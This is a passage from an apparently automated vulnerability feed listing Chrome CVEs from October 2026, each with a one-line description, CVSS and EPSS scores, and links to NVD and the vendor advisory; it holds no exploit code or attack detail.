Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113245&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113247
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113247).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113247&date=2026-10-25).
Sources:
NVD CVE-2026-113247: https://nvd.nist.gov/vuln/detail/CVE-2026-113247
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113247&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113248
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113248).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113248&date=2026-10-25).
Sources:
NVD CVE-2026-113248: https://nvd.nist.gov/vuln/detail/CVE-2026-113248
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113248&date=2026-10-25
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113249
Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113249).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113249&date=2026-10-25).
Sources:
NVD CVE-2026-113249: https://nvd.nist.gov/vuln/detail/CVE-2026-113249
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113249&date=2026-10-25
Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113250
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113250).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113250&date=2026-10-25).
Sources:
NVD CVE-2026-113250: https://nvd.nist.gov/vuln/detail/CVE-2026-113250
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113250&date=2026-10-25
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113251
Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113251).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113251&date=2026-10-25).
Sources:
NVD CVE-2026-113251: https://nvd.nist.gov/vuln/detail/CVE-2026-113251
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113251&date=2026-10-25
Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113266
Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113266).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113266&date=2026-10-25).
Sources:
NVD CVE-2026-113266: https://nvd.nist.gov/vuln/detail/CVE-2026-113266
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113266&date=2026-10-25
Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113268
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113268).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113268&date=2026-10-25).
Sources:
NVD CVE-2026-113268: https://nvd.nist.gov/vuln/detail/CVE-2026-113268
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113268&date=2026-10-25
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113276
Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113276).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113276&date=2026-10-25).
Sources:
NVD CVE-2026-113276: https://nvd.nist.gov/vuln/detail/CVE-2026-113276
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113276&date=2026-10-25
Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113282
Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113282).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113282&date=2026-10-25).
Sources:
NVD CVE-2026-113282: https://nvd.nist.gov/vuln/detail/CVE-2026-113282
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113282&date=2026-10-25
Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113285
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113285).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113285&date=2026-10-25).
Sources:
NVD CVE-2026-113285: https://nvd.nist.gov/vuln/detail/CVE-2026-113285
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113285&date=2026-10-25
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113253
Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113253).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113253&date=2026-10-25).
Sources:
NVD CVE-2026-113253: https://nvd.nist.gov/vuln/detail/CVE-2026-113253
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113253&date=2026-10-25
Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113254
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113254).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113254&date=2026-10-25).
Sources:
NVD CVE-2026-113254: https://nvd.nist.gov/vuln/detail/CVE-2026-113254
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113254&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113255
Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113255).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113255&date=2026-10-25).
Sources:
NVD CVE-2026-113255: https://nvd.nist.gov/vuln/detail/CVE-2026-113255
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113255&date=2026-10-25
Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113256
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113256).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113256&date=2026-10-25).
Sources:
NVD CVE-2026-113256: https://nvd.nist.gov/vuln/detail/CVE-2026-113256
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113256&date=2026-10-25
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113257
Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113257).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113257&date=2026-10-25).
Sources:
NVD CVE-2026-113257: https://nvd.nist.gov/vuln/detail/CVE-2026-113257
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113257&date=2026-10-25
Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113334
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113334).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113334&date=2026-10-25).
Sources:
NVD CVE-2026-113334: https://nvd.nist.gov/vuln/detail/CVE-2026-113334
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113334&date=2026-10-25
Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113330
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113330).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113330&date=2026-10-25).
Sources:
NVD CVE-2026-113330: https://nvd.nist.gov/vuln/detail/CVE-2026-113330
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113330&date=2026-10-25
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113323
Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113323).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113323&date=2026-10-25).
Sources:
NVD CVE-2026-113323: https://nvd.nist.gov/vuln/detail/CVE-2026-113323
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113323&date=2026-10-25
Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
